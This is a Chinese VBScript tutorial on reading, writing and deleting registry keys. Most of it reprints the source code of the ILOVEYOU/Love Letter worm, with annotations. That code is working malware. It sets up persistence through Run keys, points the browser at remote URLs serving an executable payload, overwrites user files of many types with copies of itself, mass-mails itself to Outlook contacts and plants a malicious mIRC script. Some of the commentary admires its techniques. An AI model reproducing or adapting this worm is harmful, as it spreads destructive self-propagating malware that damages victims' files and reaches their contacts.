Vbscript编程5---注册表

Vbscript编程5

注册表，修改注册表是编程的一个基本技能，脚本编程当然也不例外。

这里，我就不再讲解注册表的基本结构。

1、读注册表的关键词和值：

可以通过把关键词的完整路径传递给wshshell对象的regread方法

例如：

set ws=wscript.createobject("wscript.shell")

v=ws.regread("HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/nwiz")

wscript.echo v

2、写注册表

有读就有写了，使用wshshell对象的regwrite方法

看例子：

path="HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/"

set ws=wscript.createobject("wscript.shell")

t=ws.regwrite(path & "jj","hello")

这样就把

HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/jj这个键值改成了hello.不过要注意：这个键值一定要预先存在。

如果要创建一个新的关键词，同样也是用这个方法。

path="HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/run/sssa2000/love/"

set ws=wscript.createobject("wscript.shell")

val=ws.regwrite(path,"nenboy")

val=ws.regread(path)

wscript.echo val

删除关键字和值

使用regdelete方法，把完整的路径传递给regdelete就可以了

例如

val=ws.regdel(path)

注意，如果要删除关键词的值的话一定要在路径最后加上“/”，如果不加斜线，就会删除整个关键词。

好了，最基本的脚本编程也就讲完了，其实脚本编写也很简单，你们看看下面这个曾经很出名的 Love Letter病毒的源代码，除了邮件那部分我没讲，其他的都是一目了然吧？

rem barok -loveletter(vbe) <i hate go to school>
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philip
pines
' 注释：程序作者的签名（可能）

On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
' 注释：FileSystemObject是M$ VBVM系统中最危险的部分，它的功能十分强大

' 从病毒使用FSO可以知道，通过修改注册表，可以轻易防止 Love Letter发作。

set file = fso.OpenTextFile(WScript.ScriptFullname,1) '返回当前脚本的完整路径
vbscopy=file.ReadAll
main()
' 注释 - 程序初始化完成。

sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER/Software/Microsoft/Windows Scriptin
g Host/Settings/Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER/Software/Microsoft/Windows Scripting
Host/Settings/Timeout",0,"REG_DWORD"
' 注释 - 防止操作超时造成的程序终止。
' 应该说，编写病毒的程序员考虑到了可能发生的问题，这一点值得所有的编程
者借鉴。
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
' 获取系统关键文件夹的名称
' VB编程时可以用。

Set c = fso.GetFile(WScript.ScriptFullName) '返回当前脚本的完整路径
c.Copy(dirsystem&"/MSKernel32.vbs") 'Copies a specified file or folder from one location to another.
c.Copy(dirwin&"/Win32DLL.vbs")
c.Copy(dirsystem&"/LOVE-LETTER-FOR-YOU.TXT.vbs")
' 复制自身到关键目录中备用。
' 文件名并不是很好。太容易被发现了。

regruns()
html()
spreadtoemail()
listadriv()
end sub

sub regruns()
' 修改注册表，以便自动装载病毒程序
' 预防：经常检查注册表中的这一分支。
' 已知的方法还有把HTA放入Startup文件夹。病毒程序使用的方法更先进，
' 因为它不会因为语言问题而失效。
On Error Resume Next
Dim num,downread
regcreate "HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersio
n/Run/MSKernel32",dirsystem&"/MSKernel32.vbs"
regcreate "HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersio
n/RunServices/Win32DLL",dirwin&"/Win32DLL.vbs"
downread=""
downread=regget("HKEY_CURRENT_USER/Software/Microsoft/Internet Explore
r/Download Directory")
if (downread="") then
downread="c:/"
end if
if (fileexist(dirsystem&"/WinFAT32.exe")=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCU/Software/Microsoft/Internet Explorer/Main/Start Page",
"http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnj
w6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCU/Software/Microsoft/Internet Explorer/Main/Start Page",
"http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe
546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCU/Software/Microsoft/Internet Explorer/Main/Start Page",
"http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnm
POhfgER67b3Vbvg/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCU/Software/Microsoft/Internet Explorer/Main/Start Page",
"http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkh
YUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-B
UGSFIX.exe"
end if
end if
if (fileexist(downread&"/WIN-BUGSFIX.exe")=0) then
regcreate "HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersio
n/Run/WIN-BUGSFIX",downread&"/WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER/Software/Microsoft/Internet Explorer/Main
/Start Page","about:blank"
end if
end sub

sub folderlist(folderspec)
' 遍历文件夹
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec)
set sf = f.SubFolders               '得到某一特定文件夹的所有子文件夹，包括系统隐藏文件夹
for each f1 in sf                   'f1为每一个子文件夹的对象
infectfiles(f1.path)                '传染文件的操作
folderlist(f1.path)                 '再次进行文件夹遍历
next
end sub

sub listadriv
' 遍历所有驱动器。
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then '2.3分别为硬盘和网络共享盘
folderlist(d.path&"/")
end if
Next
listadriv = s
end sub

function fileexist(filespec)
' 判断文件是否存在
' 纯粹从技术角度讲，这段程序写的不怎么样。
' 不用写这么长就能够实现相同的功能
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
msg = 0
else
msg = 1
end if
fileexist = msg
end function

function folderexist(folderspec)
' 判断文件夹是否存在
' 和上一段程序一样臭。
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
msg = 0
else
msg = 1
end if
fileexist = msg
end function

sub infectfiles(folderspec)
' 执行传染文件的操作。
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files                   '得到某一特定文件夹的所有文件，包括系统隐藏文件
for each f1 in fc
ext=fso.GetExtensionName(f1.path) '得到扩展名
ext=lcase(ext)                     '转变为小写
s=lcase(f1.name)
if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy                   'vbscopy=file.ReadAll
ap.close
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext=
"sct") or (ext="hta") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&"/"&bname&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if
if (eq<>folderspec) then
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="scri
pt.ini") or (s="mirc.hlp") then
set scriptini=fso.CreateTextFile(folderspec&"/script.ini")
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corru
pt, if mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run
correctly. thanks"
' 病毒作者的英文恐怕没学好……不过，这样吓唬人也够损的了。
' 这里提醒各位注意，不要在乎那些吓人的文字，仔细观察就会发现漏洞其实不
少。
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }"
scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"/LOVE-LETTER-FO
R-YOU.HTM"
scriptini.WriteLine "n3=}"
' 注意，这样做的结果是，MIRC也能够传染病毒。
scriptini.close
eq=folderspec
end if
end if
next
end sub

sub regcreate(regkey,regvalue)
' 修改注册表（创建键值）
' 这个程序似乎是微软的示范程序。
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub

function regget(value)
' 这个程序似乎也是微软的示范程序。(WSH示范，在Windows文件夹)
Set regedit = CreateObject("WScript.Shell")
regget=regedit.RegRead(value)
end function

sub spreadtoemail()
' 通过电子邮件扩散
On Error Resume Next
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
' 病毒的局限：只支持Outlook，而Outlook Express则不支持。
set mapi=out.GetNameSpace("MAPI")
for ctrlists=1 to mapi.AddressLists.Count
set a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_USER/Software/Microsoft/WAB/"&a)
if (regv="") then
regv=1
end if
if (int(a.AddressEntries.Count)>int(regv)) then
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER/Software/Microsoft/WAB/"&male
ad)
if (regad="") then
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
' 病毒得名的原因
' 见到这样的邮件，肯定是病毒。
' 头脑正常的人恐怕不会这样直白的。
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from m
e."
male.Attachments.Add(dirsystem&"/LOVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
regedit.RegWrite "HKEY_CURRENT_USER/Software/Microsoft/WAB/"&malead,1,
"REG_DWORD"
end if
x=x+1
next
regedit.RegWrite "HKEY_CURRENT_USER/Software/Microsoft/WAB/"&a,a.Addre
ssEntries.Count
else
regedit.RegWrite "HKEY_CURRENT_USER/Software/Microsoft/WAB/"&a,a.Addre
ssEntries.Count
end if
next
Set out=Nothing
Set mapi=Nothing
end sub
sub html
' 从技术角度说，这段程序写得很漂亮，原因在于充分地利用了 Outlook 的资源
' 值得编写程序的借鉴。
' 程序中间的_符号是连接线，所以注释写在这里。
' 程序中无效语句很多，浪费了不少空间。
On Error Resume Next
dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@-@Gene
rator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _
"<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-? @G
RAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _

"<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is go
od...@-@>"&vbcrlf& _
"<?-?HEAD><BODY ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LO
VE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ "&vbcrlf& _
"ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YO
U.HTM#-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@
>"&vbcrlf& _
"<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to r
ead this HTML file<BR>- Please press #-#YES#-# button to Enable Active
X<?-?p>"&vbcrlf& _
"<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>--------
--z--------------------z----------<?-?MARQUEE> "&vbcrlf& _
"<?-?BODY><?-?HTML>"&vbcrlf& _
"<SCRIPT language=@-@JScript@-@>"&vbcrlf& _
""&vbcrlf& _
"<?-?SCRIPT>"&vbcrlf& _
"<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _
""&vbcrlf& _
"<?-?SCRIPT>"
dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'")
dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""")
dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")
dt5=replace(dt4,chr(94)&chr(45)&chr(94),"/")
dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'")
dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""")
dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")
dt6=replace(dt3,chr(94)&chr(45)&chr(94),"/")
set fso=CreateObject("Scripting.FileSystemObject")
set c=fso.OpenTextFile(WScript.ScriptFullName,1)
lines=Split(c.ReadAll,vbcrlf)
l1=ubound(lines)
for n=0 to ubound(lines)
lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
lines(n)=replace(lines(n),"/",chr(37)+chr(45)+chr(37))
if (l1=n) then
lines(n)=chr(34)+lines(n)+chr(34)
else
lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _"
end if
next
set b=fso.CreateTextFile(dirsystem+"/LOVE-LETTER-FOR-YOU.HTM")
b.close
set d=fso.OpenTextFile(dirsystem+"/LOVE-LETTER-FOR-YOU.HTM",2)
d.write dt5
d.write join(lines,vbcrlf)
d.write vbcrlf
d.write dt6
d.close
end sub

Vbscript编程5---注册表相关推荐

Windows核心编程_注册表操作和小练习程序关联
大家有没有见过就是当我们下载一个软件比如视频播放器下载之后我们电脑上的视频文件图标都变成了这个视频播放器的图标,然后打开时也是默认调用此视频播放器来播放下面就给大家介绍如何在Windows平台上实 ...
驱动编程：注册表回调，进程回调，文件回调，进程隐藏断链，窗口保护
#include "struct.h"#define debug_pott_offset 0x298 //#define debug_pott_offset 0x1f0DWORD ...
windows文件关联、打开方式列表之修改注册表攻略
这里全是修改注册表的方式.网上找了半天,有的仅有添加文件关联的方法,却没有添加到打开方式列表里面的方法:有的有添加到文件列表的方法,却是使用控制面板->文件夹选项的.好难得才找齐所有,从添加文件 ...
西门子step7安装注册表删除_如何完全卸载Siemens PLC编程软件
无法完全卸载Siemens PLC编程软件,有两种方法可以帮助您解决它. 第一种方法某些Siemens软件很难通过常规方法进行卸载,导致卸载后无法重新安装已卸载的软件. 注册表中需要大量操作才能再次 ...
windows黑客编程系列（四）：修改注册表键值对之自启动
文章目录自启动技术注册表 WINAPI介绍 RegOpenKeyEx函数参数说明返回值 RegSetValueEx 参数说明返回值编码运行效果自启动技术对于一个病毒木马来说,重要的不 ...
Win64 驱动内核编程-32.枚举与删除注册表回调
枚举与删除注册表回调注册表回调是一个监控注册表读写的回调,它的效果非常明显,一个回调能实现在SSDT 上 HOOK 十几个 API 的效果.部分游戏保护还会在注册表回调上做功夫,监控 service ...
Win64 驱动内核编程-15.回调监控注册表
回调监控注册表在 WIN32 平台上,监控注册表的手段通常是 SSDT HOOK.不过用 SSDT HOOK 的方式监控注册表实在是太麻烦了,要 HOOK 一大堆函数,还要处理一些 NT6 系统有而 ...
Win64 驱动内核编程-6.内核里操作注册表
内核里操作注册表 RING0 操作注册表和 RING3 的区别也不大,同样是"获得句柄->执行操作->关闭句柄"的模式,同样也只能使用内核 API 不能使用 WIN32 ...
Win 驱动编程 - 内核里操作注册表
一概述 RING0 操作注册表和 RING3 的区别也不大,同样是"获得句柄->执行操作->关闭句柄"的模式,同样也只能使用内核 API 不能使用 WIN32API. ...

Vbscript编程5---注册表

Vbscript编程5---注册表相关推荐

最新文章

热门文章